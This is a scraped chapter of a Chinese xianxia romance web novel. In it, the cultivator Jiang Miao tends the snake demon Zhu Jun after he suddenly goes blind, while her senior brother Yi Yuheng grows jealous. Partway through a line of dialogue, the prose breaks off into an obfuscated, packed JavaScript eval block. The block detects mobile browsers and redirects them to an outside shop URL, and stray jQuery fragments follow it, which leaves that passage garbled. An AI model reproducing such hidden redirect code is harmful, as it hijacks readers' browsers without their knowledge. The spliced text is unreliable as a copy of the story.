12.眼盲

作品:《剑尊她和宿敌破镜重圆了

    安抚曲明珠睡下后,江渺就回到了自己的房间。


    她推开门,屋子里很黑,几乎是伸手不见五指,她放轻脚步,慢慢摸索到床边。


    灵力凭空在烛台上聚集出一簇冷焰,江渺在床沿坐下,看向帐中竹君熟睡的侧脸。


    很漂亮的一张脸,即使是睡着时也是同样的精致与惊艳,即使这张脸日日夜夜都在她眼前,可她每次看见时,仍旧忍不住会被他吸引。


    江渺伸出手,将散落在他脸颊上的发丝别在耳后,撑着脸静静看着他良久,视线仍然没有挪开。


    她又不是傻子,怎么可能只是觉得他可怜,就平白无故把他捡走啊?


    还以为他会一直保持小蛇的形态,看来还是人形更舒服些。


    她的手指轻轻划过他的脸颊,最后停在他唇角的那一颗小痣。


    “……唔?”


    从睡梦中醒来,他没有立刻睁开眼,毕竟自己正被熟悉的味道所包围着,“渺渺…你回来了。”


    “是我弄醒你了吗。”


    竹君没有回答,只是循着声音的来源,钻进了她的怀抱。


    温暖,柔软,馨香,比他从前在的那些地方不知好上多少倍。


    他想一直停留在这里,留在她美好温柔的怀中。


    他在心中默默计数,奢想能抱得久一点,再久一点。


    江渺没有拒绝他的拥抱,也没有推开他,任由他倚靠在自己怀中:“……好了,睡吧。”


    翌日,她依旧是被敲门声叫醒的。


    江渺抵着倦意从床上爬起来,胡乱披上衣服,打开了门。


    所以她并不喜欢睡觉,睡够了都还好说,若是睡得少了,脑袋就会又疼又晕。


    “师兄。”


    她看清了来人,易玉衡站在门外,身上披着熹微的晨光。


    易玉衡将手中的食盒递给她,脸上笑意盈盈:“回来的路上路过集市,正好看见有江儿你喜欢的点心,就买了些来,给你做早餐。”


    江渺揉了揉眼睛,伸出手接下食盒:“…刚睡醒,哪有胃口吃东西啊。”


    她碎碎念着,揭开了盒盖,香气扑鼻,把她腹中馋虫勾了出来。


    易玉衡见她吞了口唾沫,心说她当真是一点没变,嘴馋的样子还和从前一模一样。


    “你先回去吧,我回房去整理行囊。”


    易玉衡给她留了几分面子,对她摆了摆手,“把竹君叫醒,你们收拾好后来找我,我们一起回山门去。”


    江渺端着食盒回到房中,她和易玉衡在门外说了一会儿话,竹君已经醒了。


    “…是什么事?”


    他睡眼惺忪地坐在床边,长发拢在一旁,用发带松松束起,垂在肩头,“渺渺……抱抱。”


    “唔,没什么,只是他们夜狩相当顺利,来和我报平安”


    江渺把食盒放到一旁后,走到床前,他就立刻把脑袋埋进了她的怀中。


    他头顶毛茸茸的,脸颊贴在她小腹轻轻磨蹭,有些痒。


    江渺抱着他,手在他背上轻拍着安抚,竹君抬起脸,黄绿色的蛇瞳紧紧追着她。


    “渺渺。”


    他的声音闷闷的,眉头轻蹙,说话时呼出的热气团在她衣服上,“我怎么看不清你了?”


    江渺被他这句话吓得不轻,立刻在床边坐下,扣住他手腕,用灵力探遍他体内经脉,仍然没找到症结所在。


    怎么会这样,他是不是生了什么病,还会不会更严重?


    她的心突突直跳,抓着他手腕的手不由自主地攥紧。


    听见竹君低声唤着自己的名字,她终于回过神,他的手微微颤着,眉心折起一道深痕。


    竹君面对着她,那双宝石般的眼瞳已经失去焦点,变得灰蒙蒙的,眼角还挂着几点晶莹的水珠:“渺渺,痛。”


    江渺的手稍稍松了几分,却仍旧将他牢牢抓着。


    “抱歉。还有其他地方难受吗?我们先回山门好不好?”


    这处小镇距离山门只有半日的路程,江渺连点心都没吃,收拾好行李后急匆匆地拉着易玉衡坐上马车,出发前还特意嘱咐车夫将车赶得快一些。


    竹君化成小蛇盘在她怀里,一副无精打采的模样,虽然看不清楚,不过好在他还能对她的话做出反应。


    黑色的眼瞳变成雾蒙蒙的的蓝白色,小脑袋耷拉着,病恹恹地搭在她掌心。


    易玉衡见她的视线一直没从竹君身上移开,面上愁容不展,只觉得心烦,默默移开视线,道:“江儿不必太担心,妖轻易死不了的。”


    江渺对他的话毫无反应,反而赌气似的背过身,易玉衡叹了口气,接着说道:“你也知道,那符咒和香囊根本起不了什么作用,我若是真的想对他下手,他还能活到现在吗。”


    “瞧他这样子…是不是要蜕皮了?”


    江渺沉吟片刻,师兄说的也不无道理。


    毕竟他撞见竹君时两道符篆毫打得不迟疑,若不是自己眼疾手快将其截下,恐怕竹君早就一命呜呼了。


    以师兄的实力,若是真想对竹君下手,肯定能做得干净利落,何必用这种费时费力的阴招。


    蜕皮吗,蛇原来这么麻烦?


    她伸出手指点了点竹君的脑袋:“……是吗?”


    “江儿若是信不过我,不如回去问问师父。师父都同意你将他留下,想必说出的话更中肯,也不会偏向我。”


    他心说眼不见心不烦,挪开了视线,看向身旁翻飞的车帷,“我可没那么坏,明知你会不喜欢,还偏要去做。”


    易玉衡这番话若有所指,江渺垂下眼眸,看向躺在自己手心的竹君,叹了口气。


    “我看曲清逸挺喜欢你的。”


    她换了个话题,“他有没有请你去曲家做客卿?”


    易玉衡如何不懂她的心思,知道她想换个话题,便也十分配合,笑道:“有,我说若是江儿肯点头,我才愿意跟着你去。”


    “我可不去。”


    江渺撇撇嘴,“在仙盟他暂时压我一头就罢,还想一直差使我不成。”


    “…他还邀我同去九州大陆游历降妖。说如今世道不平,妖魔作乱,只可惜身边一直没有志同道合的亲友,这几天相处下来,又觉得与我颇为投契,便想着与我结伴同游。”


    易玉衡语毕,目光灼灼地看向她。


    江渺迎上他的视线,在沉默中慢慢读懂他眼中的情绪。


    她眉心微微蹙着:“你答应他了?”


    “还没。”


    易玉衡轻轻摇了摇头,“我不是得问过江儿才行吗。”


    “你想去就去,怎么还把责任推到我头上了。”


    江渺哼了一声,可脸上却显出笑意,“曲清逸还算是个正人君子,结交一番倒也无妨。只是…若是师兄你同他去了,以后谁陪我游历九州啊。”


    这番撒娇在他听来颇为顺耳,易玉衡朗声笑了:“好,我不跟他去。只等将来哪天江儿起了兴致,你我同游


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170871|195772||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    他轻轻握住了她的手,感受着手心传来的暖意,二人相视一笑。


    易玉衡心中久违地重回平静,他们之间本来就该是这样,即使二人相隔千里,数年未见,他们之间的的关系和情谊也是不会变的。


    他还想再说些什么,手上却传来痛感,低头一看,才发现正竹君咬着自己的大鱼际。


    若是没有他就好了。


    若不是他,自己与江儿之间也不会生出嫌隙。


    江渺见他低下了头,便顺着他的视线看去,被竹君吓了一跳。


    她好说歹说,才终于哄得竹君松了口,把竹君捏在手中,有些心虚地偷看易玉衡的表情。


    “怎么,想帮他说好话,还要看我的脸色?”


    偷看被抓了个正着,易玉衡将她的想法径直拆破,江渺被他的话一下噎住,连辩解都忘了。


    易玉衡收回视线,看向自己手上的窟窿眼,灵力流过,那处很快便恢复如常:“你看好他。”


    马车一路颠簸着回了山门,江渺打算先将他带回房间后,再去拜见师父师叔,刚一关上门,他就主动从她身上离开。


    屏风后传来窸窸窣窣的声响,江渺没空去管他,将背上的行囊放在桌上展开,还想着收拾整理一番,可还没开始整理,就被人从背后一把环抱住。


    竹君身上的气味和她的很像,毕竟二人形影不离,但他身上总有股难以形容的独特味道,不像她闻过的任何一种香料。


    江渺被他紧紧箍着:“……不是说看不见么?”


    “看不见,但是可以闻见渺渺的味道。”


    竹君把脸埋进她颈窝,“别走好不好。渺渺不在,我会害怕的。”


    江渺沉默良久,思量一番后,抓着他的手,轻声问道:“以前你也会突然眼盲吗?”


    "……不知道。"


    他的语气淡淡的,听不出什么情绪,“记忆里,我眼前总是黑漆漆的一片,偶尔会听见些声音,也会有人出现,带着灯笼短暂停留一会后又离开…”


    她从未问过他过去的经历,如今听他突然说起,她还当真有些好奇。


    “每次从一个地方辗转到另一处,总是趁着夜色,运气好时能看见月亮,之后又是不见尽头的黑暗。”


    “或许曾有过这样的情况,可是我不知道吧。”


    听他说完后,她也不知心中具体是何感受,她对他除了心疼可怜之外,好像还有些雀跃。


    如果他说的都是实话,那自己岂不是他第一个记住的人?


    也难怪,他这么依赖自己。


    “放松一些…我要喘不上气了。”


    她掰开他的手臂,转过身,正对上他的脸。


    或许是看不见的缘故,他脸上的失落明晃晃的,比往日都显眼得多。


    江渺抬起手,捧住他的脸,指腹摩挲着他脸颊上细小的鳞片,见他紧蹙的眉头渐渐展开,垂下眼帘,微微启唇,似是欲言又止。


    “怎么这副表情?”


    江渺停了动作,手刚刚移开了些,他就又把脸贴了上来。


    竹君灰蒙蒙的眼睛望着她,可怜巴巴地说:“不要走…”


    他说着,身子又低了下去,整个人埋进了她的怀抱。


    江渺好不容易从他的怀里挣脱,没说上几句,就又被他抓住。


    她哭笑不得,任由他放开性子撒娇了一阵,等他终于消停了下来,她才揉着他的头发,柔声说:“好,不走。”